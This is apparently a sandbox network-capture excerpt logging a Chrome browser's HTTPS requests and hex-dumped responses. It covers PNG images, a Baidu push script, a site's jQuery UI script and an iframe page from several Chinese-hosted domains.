2024-09-27 03:51:01 UTC	424	OUT	GET /sichuang/images/2023/05/31/image_1685503659_nVuRhA09.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 20675 Connection: close x-oss-request-id: 66F62BA57F9C793337B3281E Accept-Ranges: bytes ETag: "A85EA5D3A7C1557CA3B7B0C133A30A13" Last-Modified: Mon, 29 Jan 2024 03:33:31 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12890311085316816892 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: qF6l06fBVXyjt7DBM6MKEw== x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15839	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 76 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:02 UTC	4836	IN	Data Raw: 94 13 c9 18 00 34 1a ed 04 44 e2 4e ad 40 10 bc 6b 52 c7 ac c0 09 c6 84 13 c6 8f ea 93 72 e1 d4 82 91 ed ed 5b 46 96 c6 73 ba ce 25 13 71 b0 a7 60 a6 a7 e3 f9 07 7f ed e1 4c 36 ed f3 07 81 8f ea b8 02 af da 5c 54 d7 34 f4 f0 1e e1 b0 ff 0b 7f f3 f9 c7 1f ff ee df 7d e9 5b fe 40 48 2d d5 b3 07 88 57 9e ff c4 ef 7d cc ac 72 cf ec 7f 82 b4 a5 08 a4 92 bf 96 cb 67 ef ba fb 43 fd 7d 2b 1c 4e 57 32 39 67 92 ed cb 92 4d 24 f3 78 6d 15 9c da 17 83 43 95 ed 0e 8f c7 8b 49 51 55 cd 17 72 26 d9 e1 8b 13 55 6d 52 38 ec 83 db af bd f6 86 3f 10 00 ce 10 0c 04 cf 9c 9e 3e 0f 5d a6 0b 76 f7 0d 76 63 16 8b 45 52 8b 54 b3 2b 8e 95 ab d6 e2 02 06 03 f7 85 f6 6a cb d2 e9 34 ae e6 30 74 d0 31 09 12 cb 04 7d 06 aa 14 60 da 1a 6d 23 03 1c 71 2a 84 41 e6 87 c3 d3 00 97 a0 8f 69 Data Ascii: 4DN@kRr[Fs%q`L6\T4}[@H-W}rgC}+NW29gM$xmCIQUr&UmR8?>]vvcERT+j40t1}`m#q*Ai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49867	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	424	OUT	GET /sichuang/images/2023/04/06/image_1680777712_HMehvAY7.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 25189 Connection: close x-oss-request-id: 66F62BA6B6896C3332F8B017 Accept-Ranges: bytes ETag: "A42023109686EE5B2324716B950D4E08" Last-Modified: Mon, 29 Jan 2024 03:33:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8817712892159841814 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: pCAjEJaG7lsjJHFrlQ1OCA== x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:02 UTC	9349	IN	Data Raw: ec 1d 97 e6 0a 0c f9 d5 a7 16 3d c6 a7 25 e7 4d 38 50 d5 73 91 30 b9 02 85 af 3d 0d 82 25 ee 59 db 11 e3 17 26 43 3e 3d 7e f4 1f fe cb 9f fd ab ff f6 77 c0 10 b1 47 67 99 6e df fe e6 4d d9 6c 56 ff fe cf d4 ad d9 42 e9 e2 a2 e9 36 0d e6 d7 91 b2 0c 69 c4 3c 9a 7e ad 3a d8 6b aa 59 51 de e8 32 59 6c 2e c4 c5 b1 58 80 61 70 20 7c 2e 8a 3d 29 f6 33 77 9e f9 aa 6d 4f a4 44 77 89 b8 78 2a b1 ee 74 8d 99 5c d7 d4 59 8d 15 d1 0e 6e 8b 75 2b 9a 00 de 78 59 56 0d 16 77 76 55 61 74 51 86 ef fc 8e 55 b9 ff e3 ff 43 3d ba 97 7f f3 f5 93 87 67 9f da f5 71 be f7 0f 7f fb fd 27 e7 ab 4e 99 73 e7 97 d2 5b cc a1 23 29 be 67 7a 20 a1 52 42 f1 b0 cd 22 f8 59 e1 c2 11 1c af 6a 90 bf ca 0f 4e 8d ba 9d a2 f4 9a f6 33 8d 78 d4 59 94 72 43 68 6c 6b 16 3d b3 83 1b 8a c4 fa 90 be Data Ascii: =%M8Ps0=%Y&C>=~wGgnMlVB6i<~:kYQ2Yl.Xap \|.=)3wmODwx*t\Ynu+xYVwvUatQUC=gq'Ns[#)gz RB"YjN3xYrChlk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49868	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	424	OUT	GET /images/2024/05/10/sichuang/image_1715308754_jDvIvelv.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	542	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 92549 Connection: close x-oss-request-id: 66F62BA6323081353967F4E0 Accept-Ranges: bytes ETag: "1AD7057BF24DD2004D8B3D6600000000" Last-Modified: Fri, 10 May 2024 02:49:49 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 59195448950642458 x-oss-next-append-position: 92549 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:51:02 UTC	15842	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 05 eb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR,6pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 32 a1 07 2e 1b ae b2 8c 65 9c a7 5d da 9f 78 5d 7e 2f 39 17 13 8f 93 e4 5b fe 1f b8 2c bb 19 b3 3d b1 4f 1a 50 94 4b 31 02 12 c7 b1 a8 36 33 2d 97 42 41 41 41 e1 26 31 4e 2a f3 1c a3 2e 77 57 c2 98 d0 e9 63 00 8f 35 4d 7b 8e 11 81 df c7 35 74 f7 9b 45 de 17 91 50 70 31 a7 c7 95 0b 0a 27 6b 7a 8e 18 3e b7 6d 7b 22 11 1e 07 79 71 64 bd e7 79 10 c7 b1 08 b7 5f 5c 5c c0 f3 3c 94 cb 65 18 86 81 42 a1 20 9a 33 d1 8b ca f1 ca 98 44 fa 26 60 3b 8a a2 35 12 11 00 82 b4 93 64 52 f7 ab 69 1a 2e 2e 2e 44 55 19 d7 75 6b b3 8e e5 a6 40 59 c9 2c 90 a4 72 e1 95 e5 0f 8c 5a c8 fa dc 44 a7 bd 11 45 d1 cf d3 5a 5b 59 8f 0e bc 91 63 51 0b 2b 1b 7f f2 77 e8 b5 93 3d ad f4 f0 d3 f0 22 a9 60 bd e9 49 24 61 c2 fd 7f c4 5e 03 b6 6d c3 75 5d 51 a6 91 25 4e fb fd be 20 ed f5 7a 1d Data Ascii: 2.e]x]~/9[,=OPK163-BAAA&1N*.wWc5M{5tEPp1'kz>m{"yqdy_\\<eB 3D&`;5dRi...DUuk@Y,rZDEZ[YcQ+w="`I$a^mu]Q%N z
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 9a b8 df e9 74 be b6 6d 5b 94 a2 04 20 64 9a 9e e7 89 5c 8f 28 8a 44 ee 55 b5 5a 15 06 3e cf e5 70 38 14 f7 26 6e a6 a4 e6 58 7c 48 a5 27 15 14 14 6e 1f 8b 94 5f 39 00 70 60 18 46 05 c0 96 a6 69 5b 9a a6 6d 21 d1 58 02 6f 2a 18 c8 c9 49 fc 9b c4 2b 59 b0 bf 75 5d f7 60 30 18 1c 58 96 55 bb 96 03 59 b0 92 8c 84 5a 26 93 f9 09 4b 20 b2 89 91 eb ba a2 9e 39 13 aa d8 20 06 00 6c db 5e 68 dc 57 f0 b8 d7 86 c3 e1 4f 98 34 0b 40 54 23 c9 e5 72 d4 95 03 18 91 c1 6e b7 8b 52 a9 84 79 24 46 67 67 67 b3 3e b2 a3 69 da 13 7a 7b c3 30 44 a1 50 80 eb ba 42 4a 40 52 4f 43 2c 9b cd 8a 45 3d 8e e3 75 5c c3 c2 c6 73 2d 6b af df 01 b5 30 0c 7f 02 5c 96 0c f0 de a4 f6 9c 46 1c 49 a2 ef fb b5 79 36 3e a7 51 71 48 a3 b7 d3 e9 88 0e aa 4c 0a e5 f9 cb e7 f3 68 b7 db a2 fc e8 3c Data Ascii: tm[ d\(DUZ>p8&nX\|H'n_9p`Fi[m!Xo*I+Yu]`0XUYZ&K 9 l^hWO4@T#rnRy$Fggg>iz{0DPBJ@ROC,E=u\s-k0\FIy6>QqHLh<
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 8f 61 67 75 75 f5 59 bd 5e 47 b7 db fd 32 9b cd 6e b7 db ed dd 49 cf 27 26 c8 51 32 ae eb 6e d0 61 87 de e4 3c d7 8d 46 43 24 29 ac 9a 79 c1 ee d6 6d 1f 7e 8a 3e 81 8c f7 df 2b c7 4b d9 52 3a 9d 16 09 de 38 9a cd a6 38 5d 1d 1c 1c 88 64 a5 d7 eb 89 d3 10 13 1e 26 66 f9 7c 1e df 7e fb 2d 72 b9 9c 7c 17 bc be d2 e9 34 2c cb c2 c5 c5 85 d8 5f 92 6d cd 64 32 4f a9 13 e7 74 d5 b3 b3 b3 2b b2 3d 56 36 1b 8d 06 3a 9d 0e e2 f1 38 4e 4f 4f 51 ad 56 31 37 37 87 6c 36 2b fd 17 94 e6 d0 43 9e 5a e7 f1 c0 94 20 d9 31 8e b3 b3 33 24 12 89 49 df a9 69 59 d6 56 3e 9f ff 23 93 96 54 2a 25 f7 a4 47 bc 1c 54 ab d5 0d 28 6b 9d 1a 30 b3 82 a1 3a 39 91 19 26 31 b3 bc bc 0c cb b2 64 cf 51 aa 84 66 24 12 d9 71 5d 77 a3 df ef a7 d5 41 69 74 d2 02 ae ba 04 e1 d2 17 fd e9 f8 b5 00 Data Ascii: aguuY^G2nI'&Q2na<FC$)ym~>+KR:88]d&f\|~-r\|4,_md2Ot+=V6:8NOOQV177l6+CZ 13$IiYV>#T*%GT(k0:9&1dQf$q]wAit
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 6a c3 eb 1d b5 f2 eb 94 c3 70 fd a4 9d 2e 1d 5b 28 d9 a4 3d 63 24 12 49 c7 e3 f1 2d cb b2 36 81 bb 57 43 26 e1 f4 f4 14 ef bc f3 8e c8 de 3a 9d 0e 8a c5 22 72 b9 9c 54 86 6b b5 1a 66 66 66 90 48 24 50 af d7 a5 d1 f5 36 f2 ca 87 0f 1f 6f 07 37 ba ca a8 0b 15 83 4b da 10 b2 59 8f 3a 6a 5d d7 af 04 bb 5c b4 54 c7 13 0e 69 60 f0 4e 5d 26 47 a1 73 e1 d5 f5 cb 91 ce d1 68 14 e5 72 59 18 69 be 56 22 91 10 c9 04 b5 83 5c b0 d9 64 96 4c 26 11 8d 46 af 0c 6d 52 07 15 0d 06 83 2b c7 3b ae db bc c5 82 af 08 60 4b fd 81 61 18 ab 5e 45 a0 48 56 7b 42 d0 b6 e5 38 ce 93 40 20 20 8c 2c 2d 1a b9 69 8c 46 23 fa 92 cb eb 73 2c b5 61 18 9b a1 50 68 d3 75 dd 3d c7 71 9e 8e bf b8 77 bc 4f a8 df 06 5e 6c b6 ea e0 24 6f 03 35 f9 bc 71 b9 14 1b 6f c9 20 93 c1 64 43 aa eb ba 77 62 Data Ascii: jp.[(=c$I-6WC&:"rTkfffH$P6o7KY:j]\Ti`N]&GshrYiV"\dL&FmR+;`Ka^EHV{B8@ ,-iF#s,aPhu=qwO^l$o5qo dCwb
2024-09-27 03:51:02 UTC	11171	IN	Data Raw: 30 18 44 3c 1e 87 eb ba 32 8d 57 9d d5 10 0e 87 a5 41 1c 80 38 ca dc 84 9b 9a f8 7d f8 f0 e1 e3 6d c0 67 dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 7d f8 f0 e1 c3 87 0f 1f 3e 7c f8 f8 19 c0 0f dc 5f 02 8e e3 c0 30 0c 14 0a 85 b7 7d 28 3f 69 c4 e3 71 cc cd cd 61 61 61 e1 6d 1f 8a 0f 1f 3e 7c f8 f0 e1 c3 c7 cf 1e 7e e0 7e 07 04 02 01 04 02 81 2b 3f f3 83 f7 c9 e0 58 71 22 9f cf 23 9f cf bf a5 a3 f1 e1 c3 87 0f 1f 3e 7c Data Ascii: 0D<2WA8}mg}>\|}>\|}>\|}>\|}>\|}>\|}>\|}>\|}>\|_0}(?iqaaam>\|~~+?Xq"#>\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49871	58.254.150.48	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	357	OUT	GET /linksubmit/push.js HTTP/1.1 Host: zz.bdstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	460	IN	HTTP/1.1 200 OK Server: JSP3/2.0.14 Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: application/x-javascript Content-Length: 308 Connection: close Last-Modified: Thu, 26 Sep 2024 10:20:38 GMT ETag: "66f53576-134" Cache-Control: max-age=86400 Age: 1244 Accept-Ranges: bytes Tracecode: 17032501420388994826092711 Ohc-Global-Saved-Time: Fri, 27 Sep 2024 03:28:23 GMT Ohc-Cache-HIT: gz3un55 [2], zhuzuncache62 [2] Ohc-Response-Time: 1 0 0 0 0 0
2024-09-27 03:51:03 UTC	308	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 2f 28 5b 68 74 74 70 7c 68 74 74 70 73 5d 3a 5c 2f 5c 2f 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 5f 5c 2e 5d 2b 5c 2e 62 61 69 64 75 5c 2e 63 6f 6d 29 2f 67 69 2c 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 69 66 28 21 65 2e 74 65 73 74 28 72 29 29 7b 76 61 72 20 6f 3d 22 68 74 74 70 73 3a 2f 2f 73 70 30 2e 62 61 69 64 75 2e 63 6f 6d 2f 39 5f 51 34 73 69 6d 67 32 52 51 4a 38 74 37 6a 6d 39 69 43 4b 54 2d 78 68 5f 2f 73 2e 67 69 66 22 3b 74 3f 28 6f 2b 3d 22 3f 72 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2c 72 26 26 28 6f 2b 3d 22 26 6c 3d 22 2b 72 Data Ascii: !function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49879	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	896	OUT	GET /resources/assets/js/sichuang.shutime.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:51:02 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:36 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:51:02 UTC	16178	IN	Data Raw: 36 34 65 34 0d 0a 76 61 72 20 73 68 75 74 69 6d 65 20 3d 20 7b 0a 09 70 65 72 63 65 6e 74 3a 20 30 2c 0a 09 74 69 6d 65 72 73 3a 20 22 22 2c 0a 09 69 6e 69 74 3a 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 09 09 24 28 22 62 6f 64 79 22 29 2e 61 70 70 65 6e 64 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 61 73 74 22 3e 3c 69 3e 3c 2f 69 3e 3c 64 69 76 3e 3c 62 3e 3c 2f 62 3e 3c 70 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 24 28 27 23 6e 61 76 2d 69 63 6f 6e 32 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 74 68 69 73 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 27 6f 70 65 6e 27 29 3b 0a 09 09 09 24 28 22 68 65 61 64 65 72 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 3b 0a Data Ascii: 64e4var shutime = {percent: 0,timers: "",init: function(e) {$("body").append('<div class="toast"><i></i><div><b></b><p></p></div></div>');$('#nav-icon2').click(function() {$(this).toggleClass('open');$("header").toggleClass("open");
2024-09-27 03:51:02 UTC	9663	IN	Data Raw: 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 29 0a 09 09 0a 09 09 24 28 22 2e 77 6f 72 6c 64 20 6f 6c 20 6c 69 22 29 2e 68 6f 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 22 2e 77 6f 72 6c 64 20 75 6c 20 6c 69 22 29 2e 65 71 28 24 28 74 68 69 73 29 2e 69 6e 64 65 78 28 29 29 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 22 2e 77 6f 72 6c 64 20 75 6c 20 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 29 0a 09 0a 09 09 24 28 22 2e 64 6f 77 6e 5f 6c 69 73 74 20 61 22 Data Ascii: i").removeClass("active");})$(".world ol li").hover(function() {$(".world ul li").eq($(this).index()).addClass("active").siblings().removeClass("active");}, function() {$(".world ul li").removeClass("active");})$(".down_list a"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49878	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:02 UTC	692	OUT	GET /zhuye/index.html HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	250	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: text/html Content-Length: 3588 Last-Modified: Fri, 26 Jul 2024 07:45:54 GMT Connection: close Vary: Accept-Encoding ETag: "66a35432-e04" Accept-Ranges: bytes
2024-09-27 03:51:02 UTC	3588	IN	Data Raw: ef bb bf 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0d 0a 3c 6d 65 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><met

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49873	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
